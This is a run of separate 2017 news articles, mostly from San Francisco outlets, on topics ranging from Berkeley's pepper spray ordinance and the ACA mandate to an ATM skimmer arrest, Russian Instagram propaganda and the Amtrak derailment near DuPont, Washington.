diplomacy programs, training programs, and hazard pay of DFA employees in hardship posts, among others. Legarda said that the 2018 national budget includes funding in various agencies of government to institutionalize disaster risk reduction and climate adaptation measures, as well as special and general provisions that will ensure ecological integrity, clean and healthy environment, risk-sensitive investments, and disaster preparedness. Moreover, the Quick Response Fund (QRF) of various agencies originally lodged under the NDRRM Fund was transferred to the implementing agencies to ensure quick access and utilization when the need arises. Legarda also ensured that art and culture and heritage promotion will continue to be supported in the national budget, primarily through the funding for the activities of the National Commission for Culture and the Arts (NCCA) and other cultural agencies. "The passage of our national budget every year comes with the hope of achieving real lasting growth for Filipinos, especially the poor and the most vulnerable. This is the makatao budget I have proudly championed in the Senate that will further accord the respect and dignity befitting all Filipinos. I share the same optimism and belief in our government to spur growth and sustain progress for our people at a level that they rightfully deserve," Legarda concluded. ________________________________________

[1] Social services include education, health, welfare and employment, housing, and community development.

[2] Economic services include agriculture, infrastructure, tourism, power, and energy, among others.

[3] General public services include public order and safety, funds for judiciary, and subsidy to LGUs.

[4] Lung Center of the Philippines, National Kidney Transplant Institute, Philippine Children's Medical Center, Philippine Heart Center, Philippine Health Insurance Corporation, and Philippine Institute and Alternative Health Care
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A civilian commission in Berkeley worried about the health effects of pepper spray is urging the City Council to repeal an ordinance that allows police officers to use the chemical on violent protesters.

The council approved the law in September in response to a series of destructive political clashes between extremist groups in the city. The vote overturned a 20-year-old ban on police using the eye-stinging spray for crowd control.

Police officers have long been equipped with pepper spray, but were prohibited from using it when a mass of people was involved. The September ordinance gave them permission to deploy the agent on people committing violence in a crowd.

But the citys Police Review Commission has concerns that the spray, also known as Oleoresin Capsicum, could have severe and long-lasting health effects.

An officers best efforts to spray only an individual violent offender with OC can be thwarted by wind or a volatile crowd, thus resulting in accidental exposure of bystanders. Therefore, all uses of pepper spray within a crowd should be banned, the commission said in its recommendation to the council.

The council will vote Tuesday on whether to repeal the law.

Despite having the new authority, officers have not used the pepper spray, according to a memo from Police Chief Andrew Greenwood, who wants the rule to stay intact. In non-riot scenarios, which arent part of the debate, Berkeley police rarely deploy the agent, Greenwood said. In the past five years, he said, city officers used pepper spray 15 times.

Berkeley Mayor Jesse Arreguin opposes a repeal.

Our police use enormous thought and restraint in very complex situations, Arreguin said. They didnt ask to use this indiscriminately.

Kate Harrison was one of three City Council members who voted against the change in September. She called the ordinance unnecessary, saying the old rules gave police the authority to use pepper spray against a specific attacker.

Harrison said an American Civil Liberties Union study showed that some people who are pepper-sprayed act more violently after the exposure. People are going to come with gas masks now as a way to ward off the stinging agent, she said.

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But Greenwood argued in his memo that pepper spray is an important intermediary form of force as an alternative to tear gas grenades and batons. The often-masked rioters who showed up on half a dozen occasions this year, the chief noted, sometimes carried shields that rendered police projectiles and other weapons useless.

The pepper spray authorization was one of two major legislative changes Berkeley officials made in response to the demonstrations, which often involved fights between supporters of President Trump and so-called anti-fascist groups.

The other ordinance, which will expire Dec. 31, gave broad authority to the city manager to impose rules for street events whose organizers do not have permits, such as banning anything that could be considered a weapon.

I dont think these protests are over, Arreguin said. There may be controversial speakers coming to the UC campus next spring, and we need to make sure our police have the tools to keep our community safe.

Kimberly Veklerov is a San Francisco Chronicle staff writer. Email: kveklerov@sfchronicle.com Twitter: @kveklerov
Congressional Republicans appear to be moving ahead in repealing the Affordable Care Acts individual mandate, prompting debate among California health care experts on how the state could continue encouraging residents to buy health insurance  including imposing a state-level requirement to purchase coverage.

The elimination of the individual mandate, which requires people to buy insurance or pay a tax penalty, is included in the GOP tax bill that is expected to reach President Trumps desk by Christmas. Repealing the mandate is projected to lead to 1.7 million fewer Californians with health insurance over the next decade, with experts predicting that some young, healthy people may choose to drop coverage if it is not required. Under the Affordable Care Act, California has lowered its uninsured rate to a record 7 percent.

I am committed to protecting those gains, said state Sen. Ed Hernandez, D-West Covina (Los Angeles County), chair of the Senate Health Committee. All options are on the table if federal enforcement of the individual mandate ends.

California, which moved more quickly and aggressively than most states in implementing the health care act, could take a number of steps to mitigate the impacts of federal repeal. But some actions would be costly and require a difficult-to-muster two-thirds majority in the Legislature.

Justin Sullivan/Getty Images

Covered California Executive Director Peter Lee, in the agencys most recent board meeting Dec. 7, floated the idea of a state-level mandate if Congress repeals the federal mandate. A state mandate remains a somewhat far-fetched idea, as it would need approval by a two-thirds majority in the Legislature  difficult enough under normal circumstances but especially now, given that two Democratic lawmakers have announced their resignation over sexual harassment allegations.

Its a policy idea that people are mulling over and examining, but it might be politically challenging, said Laurel Lucia, a health policy analyst and director of the health care program at UC Berkeley Center for Labor Research and Education. Its always difficult to pass a new tax, regardless of what kind of tax.

Massachusetts is the only state to have enacted a state mandate, in 2007, as part of the states broader health care reform package under then-Gov. Mitt Romney. The mandate, paired with state subsidies to help lower-income individuals buy health plans, lowered the Massachusetts uninsured rate from nearly 10 percent to 5 percent in its first year.

The individual mandate, while never all that politically popular, did bring in some younger healthier people into the pool in those early years, said Paul Hattis, a public health professor at Tufts University School of Medicine who specializes in health policy.

The individual mandate remains one of the most controversial components of the Affordable Care Act, with the American public more or less split on whether it should be repealed. The majority, 55 percent, support eliminating the mandate as part of the GOP tax plan, according to a Kaiser Family Foundation poll released in November. Their views are split along party lines. Seventy-three percent of Republicans and 58 percent of independents support a repeal of the mandate as part of the GOP tax legislation. Fifty-nine percent of Democrats oppose a repeal.

California has flirted with a state mandate before. In 2008, the idea was included in a large health reform proposal under Gov. Arnold Schwarzenegger  modeled after Massachusetts plan, with government subsidies and a prohibition on denying coverage for people with preexisting conditions  that cleared the Assembly but died in the Senate Health Committee.

A state mandate would be more effective if paired with additional financial assistance to help people afford health coverage, experts said. Rising premiums and high deductibles remain a major obstacle for hundreds of thousands of Californians who buy insurance through the exchange.

When people can afford coverage, they want to enroll, generally, and theres still affordability issues in the individual market, Lucia said. The state could also look at ways to make coverage through Covered California more affordable, increasing the premium subsidies for those who are eligible, and expanding the number of people eligible based on income.

Catherine Ho is a San Francisco Chronicle staff writer. Email: cho@sfchronicle.com Twitter: @Cat_Ho
An off-duty Richmond police officer who allegedly unleashed a barrage of shots inside the Four Seasons Hotel in San Francisco over the weekend was identified as 45-year-old Phillip Sanchez, said Officer Grace Gatpandan of the San Francisco Police Department.

Sanchez was booked on suspicion of four felony counts of vandalism, assault with a deadly weapon, shooting into an inhabited dwelling and willfully discharging a firearm with gross negligence, Gatpandan said.

Sanchez was described as acting erratically and talking about spirits before opening fire, according to police dispatch recordings of the episode.

A guest at the Market Street hotel reported Sanchez to San Francisco police just before 5 a.m. Sunday and identified him as a Richmond police officer, according to the recordings.

Dispatchers told responding officers that Sanchez was walking erratically around the hotel and talking about spirits while trying to get security officers to enter a room and saying that security knows what it is in there.

A few minutes later, six to seven gunshots were reported on the 17th floor of the hotel. A bullet hole was also found on the 12th floor, according to the recordings.

BEN MARGOT/AP

Guests were directed to shelter in place while police negotiated with the officer, said Officer Robert Rueca of the SFPD.

A handgun and shell casings were recovered at the scene, Rueca said, and Sanchez surrendered peacefully at 6:30 a.m. No injuries were reported.

A spokeswoman for the Four Seasons confirmed that the officer was a guest at the hotel.

Lt. Felix Tan of the Richmond Police Department said that Sanchez has been placed on administrative leave pending an internal investigation.

Charges have yet to be filed against Sanchez. The San Francisco district attorneys office said the case had not been referred to it by police as of Monday.

Annie Ma is a San Francisco Chronicle staff writer. Email: ama@sfchronicle.com Twitter: @anniema15
Is 280 Valencia Street cursed?

The signs continue to point to yes with the closure of year-old Indian restaurant Babu Ji, which according to Eater held its last regular service on Sunday.

Over the past eight years, the space has been home to five restaurants (the others are Conduit, Another Monkey, Plin and Nostra), but nothing has seemed to truly take.

When Chronicle restaurant critic Michael Bauer awarded the San Francisco outpost of the critically acclaimed New York restaurant 2.5 stars for Jessi Singhs creative take on Indian cooking  which showcased dishes like sweet and spicy Colonel Tsos cauliflower, yogurt kebabs with beet sauce (see recipe)  he questioned the spaces iffy track record for restaurants: Will they break the jinx of the location?

Sadly, the answer is no.

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This is not the first time that Singh and his wife and business partner, Jennifer Singh, have pulled the plug on one of their restaurants. The couple, who did not respond to Chronicle inquiries, sold their original iteration of Babu Ji, along with two other restaurants when they moved from Melbourne, Australia to the United States. Last March, in the wake of two wage theft lawsuits, they suddenly closed their original New York location only to reopen a couple of months later with new backers in a new location. (The lawsuits were settled in July to the tune of $130,000.)

As for the San Francisco closure, the couple cite the high price of living and doing business in San Francisco, though for now, they will hold on to the space, keeping it open for private events and catering, as well as continuing to offer delivery via Caviar and Uber Eats.

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Sarah Fritsche is a San Francisco Chronicle staff writer. Email: sfritsche@sfchronicle.com Twitter/Instagram: @foodcentric
Having just started her first job as a historic preservationist in California, Anthea Hartig decided she needed to do field research at a traditional Christmas Eve dinner in Paris.

So she borrowed vacation time from her employer, the city of Rancho Cucamonga, and traveled light. Just the essentials  her grandmothers black cocktail dress from the 1960s, a journal which was also her sketchbook, and a travel case of watercolors.

Like many historians who go to archives and read diaries, she says while thumbing through hers from 1990, in her office at the California Historical Society, I thought, Trips in particular have such a resonance with memory. I should keep track of them.

Hartig was 25 at the time and had never been to Europe and could not afford it. But an invitation from Barbara Wallace, a friend from graduate school with a mother living in Paris, was too good to pass up for the free lodging alone.

As soon as Hartig arrived, out came the sketchbook. She drew everything, from her first crepe to the window frame in the apartment where she stayed, built in the 1860s.

A young apartment for Paris, she says.

On Dec. 24 she wrote, Paris is where good Americans come to die, if you know a few quality Parisians. She did not know them yet, but at 8 p.m., she met a half-dozen quality Parisians all smoking and speaking rapid-fire French when she arrived for dinner at an apartment in the 13th arrondisement.

Hartig made her entrance in her grandmothers dress, carrying gifts of California wine for her host and her sketchbook. She left the watercolors in her room.

When the first course arrived, she made note of the time: 20:30. Then she lifted the sketchbook from her lap and made a drawing of it  cocktails and oysters. Then came foie gras on toast. Then a fish mold. Then baby wild boar.

The courses came and went, and so did the night. She stopped noting the time though it could later be calculated by observing her drawings of the centerpiece candles as they burned down to the wick.

At 12:15 a.m. she noted that a break was taken to open gifts. Then came four cheeses, the chocolate cake and truffles. Shed been at that table for six hours when it finally ended after 2 a.m.

A day or two later, she took out the watercolors and illustrated her drawings, getting all the colors just right, down to the shades of red in all the wines.

She came home inspired, and doubled down on her full time job with a full-time Ph.D program at UC Riverside. With her doctorate, she got a job with the National Trust for Historic Preservation before being hired as executive director and CEO of the California Historical Society in 2011.

It has been 27 years since that first trip to Europe, and there have been more trips and more sketchbooks. But the first one is what she reaches for when she needs to remind herself why she does what she does.

The reverence for history that the French have, she says. I do think it was transformative in my growth as a historian who specializes in material culture and historic place.

Sam Whiting is a San Francisco Chronicle staff writer. Email: swhiting@sfchronicle.com Instagram: @sfchronicle_art
An eagle-eyed Chevron employee in Hayward thwarted two would-be thieves in their efforts to steal credit card information from unwitting customers right before Christmas.

The employee spotted suspicious-looking men near an ATM, and sensing something was off, called the police, as KRON reports. When he approached the machine, he discovered a skimmer attached to the card reader.

But that wasn't all; upon arrival, an Officer Dadej discovered that one of the thieves had also installed a camera in a side panel of the ATM. The point of the false panel is purportedly to capture pin numbers as they're inputted on the keypad.

"Thank goodness the alert employee realized something wasn't right and called Hayward PD immediately," a Hayward Police Department Facebook post about the finding reads. "Officer Dadej went to the 7/11 store across the street and discovered a similar device was installed on their ATM as well!"

Fortunately, Chevron's in-store cameras were working, and did capture an image of the suspects. Police are asking anyone who recognizes the men to call the Hayward police.

Hayward police spokesperson Sargeant Ruben Pola tells SFGATE that such a crime is "very uncommon" in Hayward, adding, "It's been quite some time since we could locate a skimmer."

The technology behind credit card skimming has become more sophisticated in recent months, as a September report by CNBC outlined. Authorities estimate that thieves are making away with around $2 billion in fraudulent charges around the world, thanks to new ways to create theft devices mostly undetectable to the average person. Police recommend that ATM users look for cues that a machine looks off before using and to always cover the keypad when entering a pin number.

Alyssa Pereira is an SFGATE staff writer. Email her at apereira@sfchronicle.com or find her on Twitter at @alyspereira.
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A jury awarded a Dublin woman $5.6 million after she sustained injuries in a Walnut Creek elevator that was allegedly fixed with zip ties.

Amy Zapotoczny, 48, has undergone four surgeries and been declared disabled since the 2013 accident at Gateway Centre in Downtown Walnut Creek, her attorney Andy Schwartz told SFGATE. Zapotoczny, who was in nursing school at the time of the incident, herniated two discs in her back and tore her labrum.

"She'll never be able to work again," Schwartz said.

Sierra Pacific Properties, who owns and operates the Gateway building, will cover 60 percent of the liability and Schindler Elevator Corporation will cover 40 percent.

In court, Schwartz argued that the elevator was "negligently maintained."

"It was held together with zip ties," he said. "That was never really in dispute."

The attorney says the zip ties gave way while his client was in the elevator, which forced the shaft to make an abrupt stop and then appeared to drop twice. The elevator clutch was affixed with zip ties, he said.

Less than an hour before the accident, a similar incident occurred in the elevator, Schwartz said, in which a building tenant claimed to feel the elevator drop. That tenant emailed building management, the attorney said, who failed to respond to the report.

In a statement, Schindler said it "strongly disagrees with the jury award in this case." The company plans to file post-trial motions and "expects to aggressively pursue an appeal and all other legal rights available to it." Sierra Pacific did not respond to SFGATE's request for comment.

Michelle Robertson is an SFGATE staff writer. Email her at mrobertson@sfchronicle.com or find her on Twitter at @mrobertsonsf.
Its the digital equivalent of misplacing the map to your buried pirate treasure: As the price of bitcoin continues to soar, people who bought in years ago are looking to cash in, only to discover they lost their password to the system on which they securely stashed the digital codes. Even Elon Musk has lost some bitcoin a friend gave him, the Wall Street Journal reported. Wired writer Mark Frauenfelder paid $3,700 for help recovering 7.4 bitcoins  not a bad deal, considering its now worth $135,000. And in 2009, a Welsh IT worker lost 7,500 bitcoins when a hard drive was thrown away. Its now worth $100 million, and hes digging through a landfill to try to find it.

Plane sense

KLM says its using artificial intelligence on social media  which will make for a refreshing change, considering most of what youll find online. A team of 250 human customer service reps field 30,000 conversations a week on Twitter, Facebook Messenger and WhatsApp, but bots are now intervening in about half of those conversations, the airline said.

Tourist attraction

Facebooks first California home, a five-bedroom Palo Alto bungalow at 819 La Jennifer Way, has become a destination for entrepreneurs looking to pay homage to Mark Zuckerberg, Business Insider reports. The house, which includes a shrine of sorts to the days when Zuck & Co. slung code and partied there, is regularly rented by Stanford Graduate School of Business students. During summer breaks, its sublet to startups, which is how Facebook made its way in. One condition: Tenants are forbidden from re-creating the scene in The Social Network where an improvised zip line brought down the buildings chimney.

Daily Briefing is compiled from San Francisco Chronicle staff and news services. See more items and links at www.sfgate.com. Twitter: @techchronicle
The enduring popularity of a provocative post on Instagram, created by a company with connections to the Kremlin, demonstrates why fighting propaganda on social media will be an uphill battle.

The photograph in the post, of a smiling woman wearing a black hijab, seems innocent. But the text around it was crafted to push buttons. This is a woman, readers are warned, who hates everything from Jews and Christians to lesbians and wine  yet she complains about Islamophobia.

Since it was posted on Nov. 8, the image has been liked by more than 6,000 people on Instagram, the image-sharing site owned by Facebook. What those people probably did not know was that it was created by the Internet Research Agency, or IRA, a Russian troll farm that employed hundreds to influence discussions online by stirring debate in comment sections below online stories and creating provocative posts on social media.

The account where the post first appeared was banned by Instagram this year, but other accounts continue to spread the image.

Congress took Facebook, Twitter and Google to task in October for allowing the spread of Russian disinformation on their services during the 2016 election campaign, but little attention was paid to Instagram. Some researchers believe that the service  which has 800 million monthly users, 470 million more than Twitter  is as full of disinformation and propaganda as any other social media site.

Instagram is a major distributor and redistributor of IRA propaganda thats at the very least on par with Twitter, according to a report published last month by Jonathan Albright, research director at the Tow Center for Digital Journalism at Columbia University.

A Facebook spokesman said the company takes disinformation seriously and is continuing its efforts to stop foreign interference.

As part of our investigation, we found and removed around 170 IRA accounts on Instagram that were responsible for approximately 120,000 posts, the spokesman, Tom Reynolds, said.

He added, Our review of this activity is ongoing, and we continue to monitor for and remove fake accounts.

Albrights research documented how the photo-friendly service was widely used by Russian trolls, and how it continues to be a hub for those images to be shared and shared again. He analyzed 28 of the 170 accounts that Instagram removed after discovering that they had been created by the IRA, which is based in St. Petersburg, Russia.

Using publicly available information on sites that archive social media posts, Albright found 2.5 million recorded interactions with posts from the accounts, as well as 145 million likely interactions with people who had passively viewed them.

Albright said those figures were not the complete picture  he was not able to account for how many people had shared images on Instagram by taking screen grabs or through a variety of third-party apps that allow for reposting of images.

The image of the woman in the hijab was originally posted by an account called Merican Fury. According to evidence presented during a congressional hearing in October, that account was part of a coordinated disinformation campaign run by the Internet Research Agency.

This month, it was shared to a popular Instagram account called Republican.s, which says it represents the Republicans and Conservatives of Instagram. It has more than 100,000 followers.

An administrator of Republican.s declined to answer why the account had shared the image, or if the person running the account was aware of the images Russian origin. When reached on Instagram, which allows users to send a message to any account they follow, the administrator said he or she had only recently taken over the account.

The person responding to messages refused to answer any other questions about who he or she is or who previously controlled the account and managed its posts. No information was provided on the Instagram account other than a brief description.

Albright said it is not unusual for accounts to share images without checking their source.

Instagram has all the social aspects of Facebook, but it is more powerful for visual messaging than Facebook, he said. Its all about sharing images from many different sources with a community. Its more focused on the conversations sparked by those images, on the controversy around them.

Nir Eyal, author of Hooked: How to Build Habit-Forming Products, said Instagram is expressly designed to make images quick and easy to share.

Instagram is a much more intimate place than Facebook and Twitter, Eyal said. People on Instagram have a more targeted list of people they follow. Its a tight network of people who share images with each other.

Within Instagram, users often share one anothers posts, a process known as regramming, or copy and post images they have spotted from other social media services. That makes it difficult to eliminate an image from the site, or guarantee that once it is removed from one persons account, it does not resurface somewhere else on the service.

The images created by the Russian accounts were designed to draw both interest and anger on divisive issues. In one image, a father and son hold guns, and the text asks whether all fathers wouldnt choose to protect their families, given the chance. In another, a young child, presumably a Syrian refugee, holds a jagged knife. The text around his head suggests that Americans are being killed for political correctness.

In comments below the images, thousands weighed in on whether the United States should allow refugees from Syria to enter the United States. Albright said it was a typical example of how Instagram had become more than just a site for sharing images  and had become a hub for debate.

Sheera Frenkel is a New York Times writer.
Boeing pulled back the curtain on an autonomous refueling plane designed to refuel U.S. Navy fighter jets in mid-air to extend their range.

In October, the Navy issued a request for proposals seeking unmanned refueling capabilities for a variety of combat planes, such as the Boeing F/A-18 Super Hornet, Boeing EA-18G Growler and Lockheed Martin F-35C fighters. Responses to this request, known as the MQ-25 competition, are due Jan. 3.
NEW YORK  Five years ago, investment banker Aryeh Bourkoff, on his own after leaving UBS, hitched a ride on the private plane of billionaire John Malone and pitched a deal: Now was the time for the mogul to get back into the telecommunications business.

The vehicle was a small cable company named Charter Communications that had emerged from bankruptcy a few years earlier.

Malone was intrigued. And what started with a $2.6 billion investment into Charter has become a national cable empire that includes the former Time Warner Cable  and the promise of yet more deal making, led in part by Bourkoff and his boutique bank, LionTree.

The banker and his firm, specialists in deals within the telecom, media and tech worlds, are poised to gain prominence as those industries are consolidating like never before. (Disney agreed to spend $52.4 billion to buy the bulk of 21st Century Fox last week, and AT&T is willing to pay $85.4 billion in a bid to take over Time Warner.)

But the question Bourkoff faces is whether he can transform his schmoozing into a business that can outlast him.

LionTree, powered by what media and telecom executives describe as Bourkoffs nonstop networking, has claimed a number of advisory assignments, from Charters deal for Time Warner Cable to Verizons purchases of AOL and Yahoo to helping advise Snap Inc. on its initial public offering. Overall, the firm has advised on more than $350 billion worth of transactions.

Aryeh is going to be involved or peripherally involved in everything thats going on, said Les Moonves, the chief of CBS.

Bourkoff said he is ready to turn the moment to his advantage.

Its a fortunate thing that we happen to be at the right place at the right time, Bourkoff said. The entire firm today, based on what we see coming into the future, is keenly structured to play into that.

Standing out among independent investment banks, many started in the wake of the 2008 financial crisis, is difficult. Bourkoff and his team at LionTree are hoping their focus on tech, media and telecom  as well as some nontraditional features, including a publicly traded investment vehicle, a weekly newsletter and podcast  will lead to success.

Since founding LionTree in 2012 with a fellow UBS alumnus, Ehren Stenzler, Bourkoff has steadily expanded the firms reach, opening offices in San Francisco, London and Paris. And he has begun to poach brand-name talent: Last year, LionTree hired Jake Donavan, who led European industry coverage for JPMorgan Chases investment bank, as president of its European division.

The pitch was, Help me build something fun and exciting, Donavan said. Referring to how Wall Street refers to tech, media and telecom, he added, Its a unique time in the TMT ecosystem.

LionTree remains a relative minnow in the world of deal making. The 60-person firm has cracked the top 25 advisers on worldwide tech, media and telecom takeovers three times since its founding, according to Thomson Reuters. Its advisory business best year was in 2015, when it ranked eighth, outpacing every other independent bank. Last year, it ranked 24th, behind firms like Evercore and Raine Group. (LionTree did not have a role in the Disney deal, even though other boutique banks were involved.)

But the company, whose offices reflect a sort of sleekly modernized Mad Men decor, match Bourkoffs vision for what his bank should look like.

Few in the firm have formal titles, in what is meant to create a flat organization in which young bankers can feel free to propose transaction ideas. Much effort has been spent on data analysis and reaching out to young tech startups run by millennial founders.

LionTree has worked to grow its investment management business, which uses outside client money to invest in transactions, often alongside advisory clients. This year, the firm backed a new investment company, Ocelot, that will use the $425 million that it raised from public-market investors, including Malone, to buy a privately held business.

And Bourkoff has also hired advisers to serve as entrepreneurs in residence, including Ursula Burns, former chief executive of Xerox, and Betsy Morgan, former chief executive of Glenn Becks the Blaze, who are meant to both bring in business opportunities and come up with new initiatives. (It was Morgan, for instance, who helped come up with the idea of the firms KindredCast podcast, which has featured the likes of Moonves of CBS and talent manager Scooter Braun.)

Yet at the center of LionTree remains Bourkoff. Malone  who controls the Liberty constellation of companies  called him the honeybee of the TMT world, flying from flower to flower cross-pollinating ideas.

Bourkoff began his career as an analyst, first covering the debt of companies, and then their stocks. He then made the leap into investment banking at UBS, where he eventually became the Swiss banks head of investment banking for the Americas. He resigned in 2012 to co-found LionTree.

The streets are littered with research analysts who tried to make the transition to investment banking, who thought they could leverage their relationships, Rob Wiesenthal, once the chief financial officer of Sony Music and now the chief of Blade, the helicopter-ride startup, said. Aryeh is one of the only ones who has successfully done that.

Ken Lerer, a co-founder of HuffPost and now a Viacom board member, credited Bourkoff with helping to resolve an impasse over the makeup of Viacoms board involving Shari Redstone, the daughter of its chairman.

It was a deal that wasnt getting done otherwise, Lerer said.

Among LionTrees most prized clients are Liberty and Malone, who have retained the firm on numerous assignments.

When people ask me, Who should I use, hes sort of the top of my list as an adviser, Malone said.

But changing the perception that LionTree centers solely around Bourkoff may be difficult. This is the Aryeh show, Wiesenthal said. This is not the LionTree show.

Bourkoff is working to alter that view. He argued that his Rolodex belongs to the firm, because he cannot meet every client, come up with every idea and execute every deal. Its less important to have a branded banker than it is to have a system, he said.

Young bankers are encouraged to pass along their business ideas to senior executives and to speak more to clients like Lerer and Charters management team. It is, in Bourkoffs view, an extension of the networking that he practices constantly.

The challenge now is to grow the firm while not losing sight of what is happening in the tech, media and telecom worlds now, according to Bourkoff.

We expect a frenetic year ahead, he wrote in a letter to clients this weekend.

Michael J. de la Merced is a New York Times writer.
A woman suspected of fatally stabbing a man in an apparent domestic dispute was arrested late Sunday in Fremonts second homicide of the year, officials said.

Dispatchers received reports of a stabbing about 10 p.m. on the 41000 block of Fremont Boulevard, outside a Burger King, police said.

Witnesses said they believe the incident began as a domestic dispute between the two, which escalated until the woman stabbed the man, police said.

Officers arrived within two minutes and began performing life-saving measures on the victim, whose name was not released pending identification by the Alameda County Coroners Office.

He was transported to a hospital where he was later pronounced dead.

The woman fled in a silver Mercedes E-Class car, witnesses said. A witness was able to obtain a partial license plate number and provided police with a detailed description of the attacker, police said.

Officers tracked down the registered owner of the car and responded to the 38000 block of Logan Drive, a residential area nearly three miles from the incident where the car was located, police said.

Police stopped the woman as she drove off and arrested her about 11:45 p.m., police said.

The weapon believed to have been used in the attack was also recovered.

The suspects name was not immediately released. She was booked at the Fremont Jail on suspicion of murder.

In the citys previous homicide this year, three people were arrested by Fremont police in October on suspicion of fatally shooting a 48-year-old man at the Extended Stay America Hotel days earlier on the 5300 block of Farwell Drive.

No homicides were recorded in Fremont in 2016.

Sarah Ravani is a San Francisco Chronicle staff writer. Email: sravani@sfchronicle.com Twitter: @SarRavani
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Jay-Z paused his concert in Oakland Saturday night to bring a two-time cancer survivor on stage.

That woman, whom ABC identified as Christina Cruz of San Jose, caught the eyes of the 48-year-old hip hop star with a glittery sign that read, "I beat cancer 2x 2 c u! I love u!!! Selfie or hug?"

"I gotta give you at least a hug," the 21-time Grammy winner said as he brought an ecstatic Cruz onto the Oracle Arena stage. A warm embrace and brief photo-op followed.

A post shared by #444Tour (@444thetour) on Dec 18, 2017 at 4:54am PST

"Just know: You beat cancer twice, you can do anything," the rapper said. "Remember even in those dark times to smile. Always smile."

Cruz took to her Instagram after the concert to gush: "I can't believe he pulled me on stage and I got to hug him not once but twice," she wrote.

RELATED VIDEO: George Zimmerman threatens Jay-Z over Trayvon Martin documentary

Now Playing: George Zimmerman threatened to feed Jay-Z to an alligator over the rapper's involvement in an upcoming Trayvon Martin documentary. Zimmerman gunned down 17-year-old Trayvon, who was unarmed, in Feb. 2012. Zimmerman claimed that producers Jay-Z and Michael Gesparro harassed his family for interviews and footage. "I know how to handle people who f*** with me. I have since February 2012. George Zimmerman told The Blast Anyone who f***s with my parents will be fed to an alligator." Video: Wibbitz

According to ABC, 37-year-old Cruz is 14 months in remission after two bouts with colon cancer and 12 rounds of chemotherapy.

Jay-Z kicked off his 31-day "4:44" tour in October. He'll play his last show of the tour on Thursday in Inglewood, California.

San Francisco Chronicle columnist Otis Taylor attended the Saturday night show. Read his full review here.

Michelle Robertson is an SFGATE staff writer. Email her at mrobertson@sfchronicle.com or find her on Twitter at @mrobertsonsf.




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DUPONT, Wash.  An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle on Monday and spilled some of its cars onto the highway below, killing at least three people, injuring dozens and crushing two vehicles, authorities said.

Attention quickly turned to the trains speed. A website that maps location and speed using data from Amtraks train tracker app showed the train was going 81.1 mph about a quarter of a mile from the point where it derailed, where the speed limit is significantly lower.

There were 80 passengers and five on duty crew members when the train derailed and pulled 13 cars off the tracks. Authorities said there were three confirmed deaths. More than 70 people were taken for medical care  including 10 with serious injuries.

About two hours after the accident, a U.S. official who was briefed on the investigation said he was told at least six people were killed. The official said he had no new information to explain the discrepancy in the numbers.

The official was not authorized to discuss the investigation publicly and spoke to the Associated Press on condition of anonymity.

A track chart prepared by the Washington State Department of Transportation shows the maximum allowable speed drops from 79 mph to 30 mph for passenger trains just before the tracks curve to cross Interstate 5, which is where the train went off the tracks.

The chart, dated Feb. 7, was submitted to the Federal Railroad Administration in anticipation of the start of passenger service along a new bypass route that shaves 10 minutes off the trip between Seattle and Portland.

It was not clear how fast the train was moving when it derailed. National Transportation Safety Board investigators were at the scene trying to determine the derailments cause.

Kimberly Reason with Sound Transit, the Seattle-area transit agency that owns the tracks, confirmed that the speed limit at the point where the train derailed is 30 mph. Speed signs are posted two miles before the speed zone and just before the speed zone approaching the curve, she said.

Positive train control  the technology that can slow or stop a speeding train  wasnt in use on this stretch of track, according to Amtrak President Richard Anderson.

He spoke on a conference call with reporters, said he was deeply saddened by all that has happened today.

Bob Chipkevich, a former NTSB director of railroad, pipeline and hazardous materials investigations, told the Seattle Times the crash looked like a high-speed derailment based on television images.

In a radio transmission immediately after the accident, the conductor can be heard saying the train was coming around a corner and was crossing a bridge that passed over Interstate 5 when it derailed. Dispatch audio also indicated that the engineer survived with bleeding from the head and both eyes swollen shut.

Weve got cars everywhere and down onto the highway, he tells the dispatcher, who asks if everyone is OK.

Aleksander Kristiansen, a 24-year-old exchange student from Copenhagen at the University of Washington, was going to Portland to visit the city for the day.

I was just coming out of the bathroom when the accident happened. My car just started shaking really, really badly, he said.

The back of his train car was wide open because it had separated from the rest of the train, so he and others were able to jump out to safety. He was at about the middle of the train, either the sixth or seventh car, he said, and was one of the lucky ones.

The Amtrak Cascades service that runs from Vancouver, British Columbia, to Eugene, Ore., is jointly owned by the Washington and Oregon transportation departments. Amtrak operates the service for the two states as a contractor and is responsible for day-to-day operations.

Rachel La Corte, Gillian Flaccus and Michael Sisak are Associated Press writers.
1 Deadly fire: A mother and three children, ages 11, 7 and 3, died Monday in a New York City house fire that also left the childrens father and two teenagers in critical condition, a fire official said. The fire was reported around 2:30 a.m. in Brooklyn. Aliza Azan, 39, was dead on the second floor of the single-family home, near the children who perished: 11-year-old Moshe; 7-year-old Yitzah and 3-year-old Henrietta. In all, nine people were in the house  the couple, their six children and a cousin. Fire Commissioner Daniel Nigro said the fire was accidental but the cause was not immediately known.

2 McCain health: Republican Sen. John McCain, who is battling brain cancer, is back home in Arizona after being treated for a viral infection. The 81-year-old was admitted last week to Walter Reed Medical Center, where he was dealing with the side effects of his treatment for cancer. He returned to Arizona over the weekend where he will undergo physical therapy and rehabilitation at the Mayo Clinic in Phoenix. McCain tweeted Monday that hes feeling well and looking forward to returning to work in Washington after the holidays. He also thanked his many well-wishers for their support and encouragement.

3 Sexual harassment: Tavis Smiley defended himself Monday from allegations he had sexual relationships with subordinates and created an abusive workplace, denying any wrongdoing and saying PBS made a mistake by suspending him from his talk show. PBS almost immediately fired back, saying he needs to get his story straight. Smiley told ABCs Good Morning America that hes never coerced anyone into a relationship but has had consensual relationships in the workplace. PBS said Smileys acknowledgment of multiple relationships contradicted his previous statements.

4 Nominee withdraws: A judicial nominee whose inability to answer basic legal questions at his confirmation hearing brought him widespread ridicule has withdrawn his nomination, a White House official said Monday. Matthew Petersen, nominated by President Trump to the federal court for the District of Columbia, became an internet sensation after the video of his confirmation hearing  during which Petersen was unable to define basic legal terms  was posted online. In his resignation letter to the president, Petersen said, it has become clear to me over the past few days that my nomination has become a distraction  and that is not fair for you or your Administration.

